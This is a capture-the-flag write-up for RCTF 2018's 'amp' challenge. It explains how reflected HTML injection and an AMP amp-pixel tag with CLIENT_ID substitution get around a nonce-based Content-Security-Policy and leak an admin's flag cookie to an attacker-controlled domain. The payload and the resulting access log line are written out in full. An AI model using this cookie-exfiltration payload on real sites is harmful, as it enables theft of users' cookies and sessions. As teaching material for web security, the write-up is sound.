Writeup amp from RCTF2018

by: ablu (Erik Schilling)

Challenge

We receive the following info:

Building the future web, together. 

http://amp.2018.teamrois.cn

After loading the page we are presented with:

Landing page of the challenge
Landing page of the challenge

Entering a name results in a notice of you being tracked:

The name passed as query parameter is inserted into the document and we receive a tracking warning
The name passed as query parameter is inserted into the document and we receive a tracking warning

Generously the page allows us to request an end of tracking:

Requesting to stop tracking triggers a request to an admin
Requesting to stop tracking triggers a request to an admin

Additionally the page sets a cookie which gives us a hint about the place where the flag lives:

The cookie tells us where to find the flag
The cookie tells us where to find the flag

Attack

Since the flag apparently is in the cookie of the admin, we need to steal that cookie. The page seems to reflect values entered as the ?name= parameter back into the HTML of the page. Probably it will also include this HTML code in the request which is sent to the admin.

Upon further analysis the page does not seem to perform any sanitization of the user controlled parameter. Thus we can inject inject arbitrary HTML code. However, injecting scripts is prevented by the server setting a Content-Security-Policy:

script-src 'nonce-2d09f4833b69e90fc34c4f8e3838c473' 'strict-dynamic'; style-src 'unsafe-inline'

The received HTML code then looks like:

<p>Dear <script>alert('test')</script>:</p>
<h1>YOU'RE BEING TRACKING</h1>
<!-- OK, I don't care AMP Standard -->
<!-- It just wastes my time. -->
<script src="https://www.google.com/recaptcha/api.js" nonce="2d09f4833b69e90fc34c4f8e3838c473"></script>
<script nonce="2d09f4833b69e90fc34c4f8e3838c473">
function onSubmit(token) {
  document.getElementById("form").submit()
}
  </script>

This means that the script tag is not executed since it needs to have a nonce=<nonce> set where <nonce> matches the nonce of the response header (which is changing on each response). While it is still be possible to load other javascript files by injecting mismatching numbers of " characters which then can allow us to steal the nonce of a following script tag this will only allow us to load arbitrary script files and not embed script code right within the tags. Loading scripts from files from a different server might allow us to steal nonces of other script tags and then inject code which gets access to document.cookie, but all this is highly speculative on the structure of the admin page. If that one does not use JavaScript at all, we are out of luck.

Thus, lets focus on the hint which is provided as HTML comment:

<!-- OK, I don't care AMP Standard -->
<!-- It just wastes my time. -->

The AMP Standard aims to provide blazing fast rendering of (mobile) pages. It achieves this by loading the entire page in a single request and forbidding use of (synchronous) javascript. However, most websites still depend on dynamic content and would not be implementable without scripts or advertisers being able to track users. Thus the AMP Standard invents its own HTML tags in order to still be able to provide such features without sacrificing speed. The following code will, for example, trigger a request for a pixel with a random value as GET parameter:

<amp-pixel src="https://foo.com/pixel?RANDOM"></amp-pixel>

Since this simple random value is not that useful for advertisers who care a lot in order to provide us with ads we like there are more sophisticated variable substitution techniques available in the AMP documentation.

Notable here is the clientId:

<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel>

This will trigger a request for a tracking pixel which includes the AMP client id. If that id does not exist the value of the cookie site-user-id-cookie-fallback-name is used.

So if we can inject such an <amp-pixel> tag into the admin log view, we can steal his cookie.

Thus we set our name to:

?name=<amp-pixel src="https://<some domain we control>/pixel?clientId=CLIENT_ID(FLAG)"></amp-pixel>

And request not to be logged.

The admin promptly seems to check the logs and we record a request against our domain1:

[21/May/2018:06:41:08 -0400] "GET /pixel?clientId=RCTF%7BEl_PsY_CONGRO0_sg0%7D HTTP/1.1" 404 3650 "http://amp.2018.teamrois.cn/?name=%3Camp-pixel%20src=%22https://<some domain we control>/pixel?clientId=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E?name=%3Camp-pixel%20src=%22https://<some domain we control>/pixel?clientId=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/66.0.3359.117 Safari/537.36" "-"

This leaves us with the flag: RCTF{El_PsY_CONGRO0_sg0}


  1. Due to restrictions of loading external scripts the domain needs to serve HTTPs content. But thanks to https://letsencrypt.org/ this should not be an issue. [return]